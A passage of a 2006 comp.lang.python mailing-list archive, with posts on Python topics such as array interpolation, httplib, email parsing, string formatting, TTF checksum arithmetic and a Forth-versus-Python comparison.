that are left, the ones that are the color codes, I want to >act on, and remove from the text stream, and display the text. http://originalgamer.cvs.sourceforge.net/originalgamer/originalgamer/originalgamer/ansi.py?revision=1.12&view=markup may be of some interest. Jean-Paul From ptmcg at austin.rr._bogus_.com Fri Oct 13 11:20:15 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 13 Oct 2006 15:20:15 GMT Subject: Line algorithim for python and numeric References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com> Message-ID: "Theerasak Photha" wrote in message news:mailman.449.1160750510.11739.python-list at python.org... > On 13 Oct 2006 07:33:17 -0700, bcdonovan at gmail.com > wrote: >> Hi everyone, >> >> I'm wondering if anyone knows of a way to extract data from a numeric >> array along a line. I have a gridded dataset which I would like to be >> able to choose two points and extract a 1-d array of the data values >> along the line between the two points. Any ideas? > > Are these all 45 degree lines or what? > > If not, you'll have to use trigonometry and approximate the closest > matching cell. (Don't worry, Python has maths functions!! :)) > > -- Theerasak No need for that messy trig stuff - simpler and faster would be to use linear interpolation, since you know the starting and ending cell coordinates, and how many values you want, compute the array of... oh, hell, here it is: start = (4,10) end = (304,310) n = 11 dn = ((end[0]-start[0])/float(n),(end[1]-start[1])/float(n)) interpedNodes = [ (start[0]+dn[0]*x, start[1]+dn[1]*x) for x in range(n+1) ] for nod in interpedNodes: print nod print cellNodes = map(lambda ii: (int(round(ii[0])), int(round(ii[1]))), interpedNodes) for nod in cellNodes: print nod Prints out: (4.0, 10.0) (31.272727272727273, 37.272727272727273) (58.545454545454547, 64.545454545454547) (85.818181818181813, 91.818181818181813) (113.09090909090909, 119.09090909090909) (140.36363636363637, 146.36363636363637) (167.63636363636363, 173.63636363636363) (194.90909090909091, 200.90909090909091) (222.18181818181819, 228.18181818181819) (249.45454545454547, 255.45454545454547) (276.72727272727275, 282.72727272727275) (304.0, 310.0) (4, 10) (31, 37) (59, 65) (86, 92) (113, 119) (140, 146) (168, 174) (195, 201) (222, 228) (249, 255) (277, 283) (304, 310) From neoedmund at gmail.com Sun Oct 15 22:25:50 2006 From: neoedmund at gmail.com (neoedmund) Date: 15 Oct 2006 19:25:50 -0700 Subject: python's OOP question In-Reply-To: <1160965310.124476.67550@e3g2000cwe.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965310.124476.67550@e3g2000cwe.googlegroups.com> Message-ID: <1160965550.658535.122030@i42g2000cwa.googlegroups.com> thank you, Kay. But i need a "dynamic" way. Say i have a existing class, and add some method from other class into it. Kay Schluehr wrote: > neoedmund wrote: > > There's a program, it's result is "unexpected aaa", i want it to be > > "expected aaa". how to make it work? > > > > [code] > > > > class C1(object): > > def v(self, o): > > return "expected "+o > > > > class C2(object): > > def v(self, o): > > return "unexpected "+o > > def m(self): > > print self.v("aaa") > > > > class C3(object): > > def nothing(self): > > pass > > > > def test1(): > > o = C3() > > setattr(o,"m",C2().m) > > setattr(o,"v",C1().v) > > o.m() > > > > test1() > > > > [/code] > > class C3(C1, C2):pass > > >>> C3.mro() # shows method resolution order > [, , , > ] > > >>> o = C3() > >>> o.m() > expected aaa From hxianping at gmail.com Mon Oct 30 23:56:55 2006 From: hxianping at gmail.com (steve) Date: 30 Oct 2006 20:56:55 -0800 Subject: Cann't connect zope server Message-ID: <1162270615.087859.193690@m73g2000cwd.googlegroups.com> Can I ask question about zope here? I started Zserver but could not connect to it using firefox.The runzope gave message: /usr/bin/zope/instance/bin/runzope -X debug-mode=on 2006-10-31 12:50:45 INFO ZServer HTTP server started at Tue Oct 31 12:50:45 2006 Hostname: 0.0.0.0 Port: 8080 2006-10-31 12:50:45 CRITICAL Zope A user was not specified to setuid to; fix this to start as root (change the effective-user directive in zope.conf) Traceback (most recent call last): File "/usr/bin/zope/lib/python/Zope2/Startup/run.py", line 56, in ? run() File "/usr/bin/zope/lib/python/Zope2/Startup/run.py", line 21, in run starter.prepare() File "/usr/bin/zope/lib/python/Zope2/Startup/__init__.py", line 98, in prepare self.dropPrivileges() File "/usr/bin/zope/lib/python/Zope2/Startup/__init__.py", line 234, in dropPrivileges return dropPrivileges(self.cfg) File "/usr/bin/zope/lib/python/Zope2/Startup/__init__.py", line 403, in dropPrivileges raise ZConfig.ConfigurationError(msg) ZConfig.ConfigurationError: A user was not specified to setuid to; fix this to start as root (change the effective-user directive in zope.conf) I configured Username:root;How to setuid?etc. From fredrik at pythonware.com Fri Oct 13 06:39:25 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 13 Oct 2006 12:39:25 +0200 Subject: How to print the CDATA of .xml file? References: <8c8dcbe30610130245q35b8eb81o951f3c82955b20b6@mail.gmail.com> Message-ID: Kevien Lee wrote: > import xml.etree.ElementTree as ET > use Python 2.5 is easy and good, but is there any others way under > version 2.4? the ET API is available for 1.5.2 and newer: http://effbot.org/zone/element-index.htm From cutemonication2 at yahoo.com Sat Oct 7 20:40:32 2006 From: cutemonication2 at yahoo.com (Get Pedia) Date: Sun, 8 Oct 2006 09:40:32 +0900 Subject: Get Pedia Message-ID: An HTML attachment was scrubbed... URL: From anthra.norell at vtxmail.ch Sun Oct 15 02:30:51 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Sun, 15 Oct 2006 08:30:51 +0200 Subject: Insert characters into string based on re ? In-Reply-To: <453154DE.80105@vtxmail.ch> References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> <453154DE.80105@vtxmail.ch> Message-ID: <4531D59B.8020007@vtxmail.ch> Frederic Rentsch wrote: > Matt wrote: >> I am attempting to reformat a string, inserting newlines before certain >> phrases. For example, in formatting SQL, I want to start a new line at >> each JOIN condition. Noting that strings are immutable, I thought it >> best to spllit the string at the key points, then join with '\n'. >> >> Regexps can seem the best way to identify the points in the string >> ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need >> to identify multiple locationg in the string. However, the re.split >> method returns the list without the split phrases, and re.findall does >> not seem useful for this operation. >> >> Suggestions? >> >> > > Matt, > > You may want to try this solution: > > >>> import SE ... snip > > http://cheeseshop.python.org/pypi?:action=display&name=SE&version=2.3 For reasons unknown, the new download for SE is on the old page: http://cheeseshop.python.org/pypi/SE/2.2%20beta. > > > Frederic > > > ---------------------------------------------------------------------------------------------------------------------- From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Thu Oct 12 16:25:49 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Thu, 12 Oct 2006 22:25:49 +0200 Subject: strings in the global section References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com> <4p7dbsFh384nU1@individual.net> <1160675533.899350.281040@i42g2000cwa.googlegroups.com> <4p7j4kFhis6pU1@individual.net> Message-ID: <4p7mmdFhh7eaU1@individual.net> Tim Chase wrote: > Sounded like the OP wanted a behavior similar to "auto-globals" > that has been a long-cursed aspect of PHP. That, without > specifying it, local-variables should be global if their name > exists in the global namespace. Sounds like a source of many hard to track down bugs. > I'm quite happy with not using "global" at all (okay, there's > been once or twice I've wanted to modify a module-level settings > structure, but otherwise...). AOL > For the most part, using "global" is cause to be smacked in the > head as it makes for a nightmare maint.-wise. ACK. Regards, Bj?rn -- BOFH excuse #415: Maintenance window broken From gh at gregor-horvath.com Fri Oct 20 05:40:15 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Fri, 20 Oct 2006 11:40:15 +0200 Subject: Webprogr: Link with automatic submit Message-ID: Hi, As I am no expert web programmer I thought I'd better ask the experts if there is a simpler or better solution to my problem than the one I am thinking of. (using TurboGears) The problem ----------- I have a form. Ok. you can submit, validate it etc. Now I have a link on that form to another page. What I want is that the form gets automatically submitted and validated before the browser follows the link. If the validation has errors the link should not be followed. My solution ----------- 1. client side solution First I thought I just make a little javascript function like this: function xy(url) { document.form.submit(); parent.location=url; } The problem is that submit works ansynchronisly. I do not get a return code to decide if to follow the url or not. Furthermore the form does not get submitted if there is the line parent.location=url; . 2. server side solution I thought of including a hidden field and include directives for my controller method to raise the redirection if no validation errors are there. function xy(url) { document.form.hiddenfield.value = "redirect_to: " + url; document.form.submit(); } @expose def mycontroller(self, *args, **kwargs): #do the usual saving stuff if hasattr(kwargs, 'hiddenfield'): #parse the JSON or mini-langage and do the redirection, when no #validation errors As there might be more other directives necessery for client-server communciation I thought of setting the hiddenfield value to JSON or a self made mini-language and parse this in the controller. Is this a good solution? Are there any other options? -- Greg From smichr at gmail.com Mon Oct 30 22:48:11 2006 From: smichr at gmail.com (smichr at gmail.com) Date: 30 Oct 2006 19:48:11 -0800 Subject: slice's indices() method In-Reply-To: References: <1162203112.607390.220510@e3g2000cwe.googlegroups.com> Message-ID: <1162266491.813604.308030@m7g2000cwm.googlegroups.com> Fredrik Lundh wrote: > smichr at gmail.com wrote: > > > Is there any reason not to change the behavior of the indices() method > > so it gives indices that can be used in range (to give indices > > corresponding to elements that would be extracted by a given slice) > > *and* used as arguments for slices so that the slice with the new > > indices (obtained from the indices() method) would extract the same > > elements as the original slice from whence they were obtained? > > and this month's "absolutely most pointless of all pointless proposals" > award goes to... > > I don't see the suggestion that much different than wanting the output of a function like ord() to be able to be used again in str() to get back a given character. There was some good conversation about the indices method a year ago...I was hoping to get some useful feedback as to why this might not be an improvement to the behavior of the slice's indices() method. Although you have not run into the need to get the specific indices from a slice (and perhaps that's why you think it's pointless) I did need them and got bitten by the non-round-trip-able behavior of the indices() method...and ended up writing a workaround rather than being able to use the built in method. /chris From http Wed Oct 25 17:47:08 2006 From: http (Paul Rubin) Date: 25 Oct 2006 14:47:08 -0700 Subject: cleaner way to write this? References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <453fd983$0$12298$426a74cc@news.free.fr> Message-ID: <7xslhccbkz.fsf@ruckus.brouhaha.com> Bruno Desthuilliers writes: > > But if the user doesn't enter any text, I don't want the method to > > return at all (even None). > > John, please re-read the FineManual(tm). None is the default return > value of a function - even if there's no return statement. Correct, but if the user doesn't enter text, the function is supposed to loop and prompt for text again, instead of returning. From ivoras at fer.hr Thu Oct 5 07:16:53 2006 From: ivoras at fer.hr (Ivan Voras) Date: Thu, 05 Oct 2006 13:16:53 +0200 Subject: Why do this? In-Reply-To: References: Message-ID: Duncan Booth wrote: > print "There are"+number+"ways to skin a"+furryanimal > > or at least something equivalent to it. If I try to make the same mistake > with a format string it jumps out to me as wrong: > > "There are%sways to skin a%s" % (number, furryanimal) Related to this, formatting with sequences is also much more readable when there are complex interpunction and quoting characters present, like this: print "'"+var1+"','"+var2'"+","+var3 the above is much more readable as print "'%s', '%s', %s" % (var1, var2, var3) From matt at tplus1.com Mon Oct 2 10:53:10 2006 From: matt at tplus1.com (Matthew Wilson) Date: Mon, 02 Oct 2006 14:53:10 GMT Subject: How to coerce a list of vars into a new type? Message-ID: I want to verify that three parameters can all be converted into integers, but I don't want to modify the parameters themselves. This seems to work: def f(a, b, c): a, b, c = [int(x) for x in (a, b, c)] Originally, I had a bunch of assert isinstance(a, int) statements at the top of my code, but I decided that I would rather just check if the parameters can be converted into integers. The new a, b, and c are all different objects, with different id values. Anyhow, this all seems like black magic to me. Can anyone explain what is going on? Is it as simple as call-by-value? -- A better way of running series of SAS programs: http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles From harry.g.george at boeing.com Thu Oct 26 15:33:00 2006 From: harry.g.george at boeing.com (Harry George) Date: Thu, 26 Oct 2006 19:33:00 GMT Subject: What's the best IDE? References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> John Salerno writes: > Neil Cerutti wrote: > > On 2006-10-26, John Salerno wrote: > >> Hakusa at gmail.com wrote: > >>> as I have yet to try Vim - maybe I'll try tomarrow. > >> Warning: Vim isn't something you just "try tomorrow" :) > > You can become proficient enough for basic editing in about 20 > > minutes with the built-in tutorial. > > Getting it to work seemlessly with Python code will take > > considerably longer. > > > > Yeah, it was all the customizing that I could never figure out. years ago this worked for people I was supporting: set softtabstop=4 shiftwidth=4 expandtab Personally, I'm an emacs guy, so I wouldn't know. -- Harry George PLM Engineering Architecture From fredrik at pythonware.com Mon Oct 9 02:10:30 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 09 Oct 2006 08:10:30 +0200 Subject: Asychronous execution *with* return codes? In-Reply-To: <1160059393.325634.167640@e3g2000cwe.googlegroups.com> References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> <1160053403.362330.136200@k70g2000cwa.googlegroups.com> <1160059393.325634.167640@e3g2000cwe.googlegroups.com> Message-ID: utabintarbo wrote: > If so, how do I handle the poll() on long-running processes? Run a > bunch and then start a check loop? or use a thread to keep track of each external process. From dustin at v.igoro.us Thu Oct 19 11:37:30 2006 From: dustin at v.igoro.us (Dustin J. Mitchell) Date: Thu, 19 Oct 2006 10:37:30 -0500 Subject: httplib problems -- bug, or am I missing something? Message-ID: <45379BBA.8000600@v.igoro.us> I'm building an interface to Amazon's S3, using httplib. It uses a single object for multiple transactions. What's happening is this: HTTP > PUT /unitest-temp-1161039691 HTTP/1.1 HTTP > Date: Mon, 16 Oct 2006 23:01:32 GMT HTTP > Authorization: AWS <>:KiTWRuq/6aay0bI2J5DkE2TAWD0= HTTP > (end headers) HTTP < HTTP/1.1 200 OK HTTP < content-length: 0 HTTP < x-amz-id-2: 40uQn0OCpTiFcX+LqjMuzG6NnufdUk/.. HTTP < server: AmazonS3 HTTP < x-amz-request-id: FF504E8FD1B86F8C HTTP < location: /unitest-temp-1161039691 HTTP < date: Mon, 16 Oct 2006 23:01:33 GMT HTTPConnection.__state before response.read: Idle HTTPConnection.__response: closed? False length: 0 reading response HTTPConnection.__state after response.read: Idle HTTPConnection.__response: closed? False length: 0 ..later in the same connection.. HTTPConnection.__state before putrequest: Idle HTTPConnection.__response: closed? False length: 0 HTTP > DELETE /unitest-temp-1161039691 HTTP/1.1 HTTP > Date: Mon, 16 Oct 2006 23:01:33 GMT HTTP > Authorization: AWS <>:a5OizuLNwwV7eBUhha0B6rEJ+CQ= HTTP > (end headers) HTTPConnection.__state before getresponse: Request-sent HTTPConnection.__response: closed? False length: 0 File "/usr/lib64/python2.4/httplib.py", line 856, in getresponse raise ResponseNotReady() If the first request does not precede it, the second request is fine. To avoid excessive memory use, I'm calling request.read(16384) repeatedly, instead of just calling request.read(). This seems to be key to the problem -- if I omit the 'amt' argument to read(), then the last line of the first request reads HTTPConnection.__response: closed? True length: 0 and the later call to getresponse() doesn't raise ResponseNotReady. Looking at the source for httplib.HTTPResponse.read, self.close() gets called in the latter (working) case, but not in the former (non-working). It would seem sensible to add 'if self.length == 0: self.close()' to the end of that function (and, in fact, this change makes the whole thing work), but this comment makes me hesitant: # we do not use _safe_read() here because this may be a .will_close # connection, and the user is reading more bytes than will be provided # (for example, reading in 1k chunks) What's going on here? Is this a bug I should report, or am I missing something about how one should use httplib? Thanks for any assistance. Dustin From fulvio at tm.net.my Tue Oct 24 11:29:36 2006 From: fulvio at tm.net.my (Fulvio) Date: Tue, 24 Oct 2006 23:29:36 +0800 Subject: Handling emails In-Reply-To: References: Message-ID: <200610242329.36839.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Tuesday 24 October 2006 01:12, Dennis Lee Bieber wrote: > Message-id: > <96D4BF841562DA44A7935AAC90A29D6405E5611B at emss01m12.us.lmco.com> > > as the ID is generally created when the message is submitted to the > delivery system Well, that's what I'm dealing with, since a couple of weeks :-) indeed. Some might not have one, but Kmail should had fixed. The second will be the way to get the whole email from the mbox file. My problem still remain, partially. I'm not sure if the below procedure will give me the emails off including multipart ones. 8<-------------8<-------------8<-------------8<-------------8<------------- #! /usr/bin/env python from __future__ import generators import email, re import mailbox import email.Message def getmbox(name): """Return an mbox iterator given a file/directory/folder name.""" fp = open(name, "rb") mbox = mailbox.PortableUnixMailbox(fp, get_message) return iter(mbox) def get_message(obj): """Return an email Message object.""" if isinstance(obj, email.Message.Message): return obj # Create an email Message object. if hasattr(obj, "read"): obj = obj.read() try: msg = email.message_from_string(obj) except email.Errors.MessageParseError: obj = obj[len(headers):] msg = email.Message.Message() return msg header_break_re = re.compile(r"\r?\n(\r?\n)") def extract_headers(text): """Very simple-minded header extraction""" m = header_break_re.search(text) if m: eol = m.start(1) text = text[:eol] if ':' not in text: text = "" return text if __name__ == '__main__': #simple trial with local mbox file import sys try: file =sys.argv[1] except IOError: print 'Must give a mbox file program /path/to_mbox' sys.exit() k = getmbox(file) while 1: full_email = get_message(k.next()) print '%78s' %full_email answer= raw_input('More? Y/N') if answer.lower() == 'n': break 8<-------------8<-------------8<-------------8<-------------8<------------- I admit that not all code is my genuine design, ;-) some other programs extrapolating have been done. F From jf.pieronne at laposte.net Sun Oct 22 14:21:54 2006 From: jf.pieronne at laposte.net (=?ISO-8859-15?Q?Jean-Fran=E7ois_Pi=E9ronne?=) Date: Sun, 22 Oct 2006 20:21:54 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: <453bb479$0$337$e4fe514c@news.xs4all.nl> References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> <453BB122.1020100@laposte.net> <453bb479$0$337$e4fe514c@news.xs4all.nl> Message-ID: <453bb6ca$0$29082$426a34cc@news.free.fr> Irmen de Jong a ?crit : > Jean-Fran?ois Pi?ronne wrote: > >> Which Python version, OpenVMS version, IP stack and stack version? > > OpenVMS 7.3-2, Python 2.3.5, no idea about IP stack version. > Thanks, may be upgrade to Python 2.5 will solve the problem. >> If you think this is a Python on OpenVMS problem, send me a small >> reproduced anf I will take a look. > > I don't have any small case lying around (I can't reproduce it myself > because I lack access to an openVMS machine) but I think you should > be able to reproduce it by slightly altering one of the socket examples > that comes with Python. Just add the MSG_WAITALL to the recv() call: > > something = sock.recv(somesize, socket.MSG_WAITALL) > > and you should see it crash with a socket exception. > Ok, I will try. > Mail me offline if you still need running example code (that I think > would expose the problem). > Ok >> If you think it's a OpenVMS problem and if you can provide a simple >> reproducer and have a support contract I suggest you call HP, but I >> suspect that if it's not documented the reply would be not (yet?) >> supported. > > I don't have anything to do with HP... the person that reported the > problem to me has, however. He's already aware of the problem. > You or the other person can also try to use http://forums1.itrc.hp.com/service/forums/familyhome.do?familyId=288 >> May be a workaround is to not use MSG_WAITALL (currently) on OpenVMS and >> in next version I will not defined MSG_WAITALL in the socket module on >> OpenVMS. > > How can I detect that I'm running on OpenVMS? > > for example import sys print sys.platform 'OpenVMS' JF From fredrik at pythonware.com Mon Oct 30 07:27:55 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 13:27:55 +0100 Subject: CHM help file for Python 2.5 In-Reply-To: <1162210804.269452.288100@i42g2000cwa.googlegroups.com> References: <1162210804.269452.288100@i42g2000cwa.googlegroups.com> Message-ID: jiri.zahradil at gmail.com wrote: > For Python 2.4, documentation was available in .chm format. For new > Python 2.5, > I am missing this format (download page: > http://docs.python.org/download.html). > Can anyone point me to new location of this version of manual, > or tell me why this format is no longer supported ... ? it's shipped with the standard installer. look for "Python 2.5" -> "Python manuals" in your program menu. From robin at reportlab.com Wed Oct 25 08:05:56 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 13:05:56 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <453F4A52.3050200@v.loewis.de> References: <453F4A52.3050200@v.loewis.de> Message-ID: <453F5324.9020408@chamonix.reportlab.co.uk> Martin v. L?wis wrote: > Robin Becker schrieb: >> Hi, just trying to avoid wheel reinvention. I have need of an unsigned >> 32 bit arithmetic type to carry out a checksum operation and wondered if >> anyone had already defined such a beast. >> >> Our current code works with 32 bit cpu's, but is failing with 64 bit >> comparisons; it's clearly wrong as we are comparing a number with a >> negated number; the bits might drop off in 32 bits, but not in 64. > > Not sure what operations you are doing: In Python, bits never drop off > (at least not in recent versions). > > If you need to drop bits, you need to do so explicitly, by using the > bit mask operations. I could tell you more if you'd tell us what > the specific operations are. This code is in a contribution to the reportlab toolkit that handles TTF fonts. The fonts contain checksums computed using 32bit arithmetic. The original Cdefintion is as follows > ULONG CalcTableChecksum(ULONG *Table, ULONG Length) > { > ULONG Sum = 0L; > ULONG *Endptr = Table+((Length+3) & ~3) / sizeof(ULONG); > > while (Table < EndPtr) > Sum += *Table++; > return Sum; > } so effectively we're doing only additions and letting bits roll off the end. Of course the actual semantics is dependent on what C unsigned arithmetic does so we're relying on that being the same everywhere. This algorithm was pretty simple in Python until 2.3 when shifts over the end of ints started going wrong. For some reason we didn't do the obvious and just do everything in longs and just mask off the upper bits. For some reason (probably my fault) we seem to have accumulated code like def _L2U32(L): '''convert a long to u32''' return unpack('l',pack('L',L))[0] if sys.hexversion>=0x02030000: def add32(x, y): "Calculate (x + y) modulo 2**32" return _L2U32((long(x)+y) & 0xffffffffL) else: def add32(x, y): "Calculate (x + y) modulo 2**32" lo = (x & 0xFFFF) + (y & 0xFFFF) hi = (x >> 16) + (y >> 16) + (lo >> 16) return (hi << 16) | (lo & 0xFFFF) def calcChecksum(data): """Calculates TTF-style checksums""" if len(data)&3: data = data + (4-(len(data)&3))*"\0" sum = 0 for n in unpack(">%dl" % (len(data)>>2), data): sum = add32(sum,n) return sum and also silly stuff like def testAdd32(self): "Test add32" self.assertEquals(add32(10, -6), 4) self.assertEquals(add32(6, -10), -4) self.assertEquals(add32(_L2U32(0x80000000L), -1), 0x7FFFFFFF) self.assertEquals(add32(0x7FFFFFFF, 1), _L2U32(0x80000000L)) def testChecksum(self): "Test calcChecksum function" self.assertEquals(calcChecksum(""), 0) self.assertEquals(calcChecksum("\1"), 0x01000000) self.assertEquals(calcChecksum("\x01\x02\x03\x04\x10\x20\x30\x40"), 0x11223344) self.assertEquals(calcChecksum("\x81"), _L2U32(0x81000000L)) _L2U32(0x80000000L)) where while it might be reasonable to do testing it seems the tests aren't very sensible eg what is -6 doing in a u32 test? This stuff just about works on a 32 bit machine, but is failing miserably on a 64bit AMD. As far as I can see I just need to use masked longs throughout. In a C extension I can still do the computation exfficiently on a 32bit machine, but I need to do masking for a 64 bit machine. -- Robin Becker From jpd at whispertel.LoseTheH.net Wed Oct 11 16:38:51 2006 From: jpd at whispertel.LoseTheH.net (John Doty) Date: Wed, 11 Oct 2006 14:38:51 -0600 Subject: Standard Forth versus Python: a case study Message-ID: I realized that I have a little job on the table that is a fine test of the Python versus Standard Forth code availability and reusability issue. Note that I have little experience with either Python or Standard Forth (but I have much experience with a very nonstandard Forth). I've noodled around a bit with both gforth and Python, but I've never done a serious application in either. In my heart, I'm more of a Forth fan: Python is a bit too much of a black box for my taste. But in the end, I have work to get done. The problem: I have a bunch of image files in FITS format. For each raster row in each file, I need to determine the median pixel value and subtract it from all of the pixels in that row, and then write out the results as new FITS files. This is a real problem I need to solve, not a made-up toy problem. I was originally thinking of solving it in C (I know where to get the pieces in that language), but it seemed like a good test problem for the Python versus Forth issue. I looked to import FITS reading/writing, array manipulation, and median determination. From there, the solution should be pretty easy. So, first look for a median function in Python. A little googling finds: http://www.astro.cornell.edu/staff/loredo/statpy/ Wow! This is good stuff! An embarrassment of riches here! There are even several FITS modules, and I wasn't even looking for those yet. And just for further gratification, the page's author is an old student of mine (but I'll try not to let this influence my attitude). So, I followed the link to: http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html From there, I downloaded stats.py, and the two other modules the page says it requires, and installed them in my site-packages directory. Then "from stats import median" got me a function to approximately determine the median of a list. It just worked. The approximation is good enough for my purposes here. Pyfits required a little more resourcefulness, in part because STSCI's ftp server was down yesterday, but I got it installed too. It helps that when something is missing, the error message gives you a module name. It needs the numarray module, so I got array manipulation as a side effect. I haven't finished the program, but I've tried out the pieces and all looks well here. OK, now for Forth. Googling for "forth dup swap median" easily found: http://www.taygeta.com/fsl/library/find.seq At first blush, this looked really good for Forth. The search zeroed in on just what I wanted, no extras. The algorithm is better than the one in the Python stats module: it gives exact results, so there's no need to check that an approximation is good enough. But then, the disappointment came. What do you do with this file? It documents the words it depends on, but not where to get them. I'm looking at a significant effort to assemble the pieces here, an effort I didn't suffer through with Python. So, my first question was: "Is it worth it?". The answer came from searching for FITS support in Forth. If it exists in public, it must be really well hidden. That's a "show stopper", so there was no point in pursuing the Forth approach further. In the end, it was like comparing a muzzle-loading sharpshooter's rifle with a machine gun: Forth got off one really good shot, but Python just mowed the problems down. The advocates of the idea that Standard Forth has been a boon to code reusability seem mostly to be people with large private libraries of Forth legacy code. No doubt to them it really has been a boon. But I think this little experiment shows that for the rest of us, Python has a published base of reusable code that puts Forth to shame. -- John Doty, Noqsi Aerospace, Ltd. -- Specialization is for robots. From mike$#at^&nospam!%trauschus Mon Oct 23 20:58:56 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Mon, 23 Oct 2006 20:58:56 -0400 Subject: Python segmentation fault? Message-ID: Is there a way to debug scripts that cause segmentation faults? I can do a backtrace in gdb on Python, but that doesn't really help me all that much since, well, it has nothing to do with my script... :-P Any ideas? Thanks, Mike From johnjsal at NOSPAMgmail.com Wed Oct 25 14:32:47 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 18:32:47 GMT Subject: cleaner way to write this? In-Reply-To: References: Message-ID: John Salerno wrote: > Hi guys. I'm looking for a nicer, more compact way of writing this code. Ok, one more thing. Let's assume I'm using this (or the other): def create_db_name(self): dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', 'Create New Database') if dlg.ShowModal() == wx.ID_OK: db_name = dlg.GetValue() else: db_name = None dlg.Destroy() return db_name Now, one thing I want to prevent is assigning db_name the value of the text when OK is pressed if the text is an empty string. So I was thinking I could do this: if dlg.ShowModal() == wx.ID_OK and dlg.GetValue() I think 'dlg' would exist by the time Python evaluates the second half of the expression. But this would involve using dlg.GetValue() again within the if statement, which seems redundant. But I'm also trying to avoid a lot of little if tests all over the place, and I definitely don't want to nest them if possible. Of course, just using the above line isn't good enough, because this still assigns db_name to None and returns it. Instead, I'll need an error dialog box to pop up. This will involve a wxPython Validator class probably (although I suppose this is simple enough not to), but before I get to all that, I just need some advice for how to structure the check of the empty string. Thanks again. From rdharles at gmail.com Mon Oct 16 15:38:17 2006 From: rdharles at gmail.com (rdharles at gmail.com) Date: 16 Oct 2006 12:38:17 -0700 Subject: string splitting In-Reply-To: References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> Message-ID: <1161027497.471846.283560@m73g2000cwd.googlegroups.com> Much thanks for your replies hiaips & Simon! R.D. From joncle at googlemail.com Fri Oct 20 16:23:50 2006 From: joncle at googlemail.com (Jon Clements) Date: 20 Oct 2006 13:23:50 -0700 Subject: curious paramstyle qmark behavior In-Reply-To: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> References: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> Message-ID: <1161375830.733818.99070@i42g2000cwa.googlegroups.com> BartlebyScrivener wrote: > With > > aColumn = "Topics.Topic1"' > > The first statement "works" in the sense that it finds a number of > matching rows. > > c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM > QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",)) > > I've tried about 20 different variations on this next one. And it finds > 0 records no matter what I do. Is there some violation when I use two > qmarks? > > c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM > QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%")) > > I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB. > > Thank you, At a guess; it's probably translating the first '?' (the one after the WHERE) as a string literal: so your query string is effectively "select from where 'somestring' like '%%'". I would try re-writing it like: c.execute("select from
where %s like ?" % aColumn, "%" + sys.argv[1] + "%") I don't use mx.ODBC, and definately don't use Access (gagging sounds... but if you're stuck with it, so be it)... hth, Jon. From nogradi at gmail.com Wed Oct 18 13:25:22 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Wed, 18 Oct 2006 18:25:22 +0100 Subject: How to execute a linux command by python? In-Reply-To: References: Message-ID: <5f56302b0610181025l7faff4a6w3f8f3058c89256b3@mail.gmail.com> > > How to execute a linux command by python? > > for example: execute "ls" or "useradd oracle" > > Who can help me? > > start here: > > http://www.python.org/doc/lib/ > And continue here: http://www.python.org/doc/lib/os-process.html From hat at se-126.se.wtb.tue.nl Fri Oct 20 08:38:06 2006 From: hat at se-126.se.wtb.tue.nl (A.T.Hofkamp) Date: Fri, 20 Oct 2006 14:38:06 +0200 Subject: python under the hood References: <1161345457.021410.306910@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-20, tpochep at mail.ru wrote: > Hello. > > Is there any good information about python's internals and semantic? I > mean "under the hood". Not exactly 'under the hood', but very close is the Python/C API. You can learn a great deal by reading the Extending&Embedding manual as well as the Python/C API reference manual. > Unfortynatly, I'm too lazy to read python's source code :) (and I > guess, it's not very easy :) ) After the above, some parts should be familiar. The functions in the Python/C API are also being used inside Python. I also found the source code pretty understandable, although I read only a small part of it. Albert From fredrik at pythonware.com Mon Oct 30 02:07:27 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 08:07:27 +0100 Subject: beginner's refcount questions In-Reply-To: <87odru4pc2.fsf@arcor.de> References: <87odru4pc2.fsf@arcor.de> Message-ID: Jens Theisen wrote: > Thus, the following code > > class Foo: > def __del__(self): > print "deled!" > > def foo(): > f = Foo() > > foo() > print "done!" > > prints > > deled! > done! > > and not the other way round. the behaviour you see in this simple program is not guaranteed by the language specification, and even trivial modifications to 